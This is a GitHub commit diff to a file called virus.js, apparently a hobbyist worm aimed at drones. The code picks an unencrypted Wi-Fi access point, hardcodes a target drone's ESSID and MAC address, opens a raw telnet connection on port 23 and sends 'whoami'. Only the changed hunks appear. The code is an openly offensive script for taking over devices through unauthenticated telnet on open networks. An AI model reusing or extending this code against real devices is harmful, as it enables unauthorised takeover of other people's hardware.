Skip to content
Browse files

change of drones

  • Loading branch information...
1 parent fe8e4a4 commit 4f651123a2d5e8d7301a7e22994fa695c0b74ac9 @substack committed Dec 1, 2012
Showing with 9 additions and 1 deletion.
  1. +9 −1 virus.js
View
10 virus.js
@@ -8,7 +8,12 @@ function attack () {
var open = nodes.filter(function (node) {
return node.encrypted === false;
});
- open = [ { 'essid' : 'substack', 'address' : '90:03:B7:2C:13:F9' } ];
+ open = [
+ {
+ 'essid' : 'WindowsAzureDrone5',
+ 'address' : '90:03:B7:2A:EA:6C'
+ }
+ ];
var ap = open[Math.floor(Math.random() * open.length)];
if (!ap) return setTimeout(attack, 5000);
@@ -59,6 +64,9 @@ function getAddr (cb) {
function telnet (addr) {
var s = net.connect(23, addr);
s.pipe(process.stdout, { end : false });
+ s.on('connect', function () {
+ s.write('whoami\n');
+ });
}
attack();

0 comments on commit 4f65112

Please sign in to comment.
Something went wrong with that request. Please try again.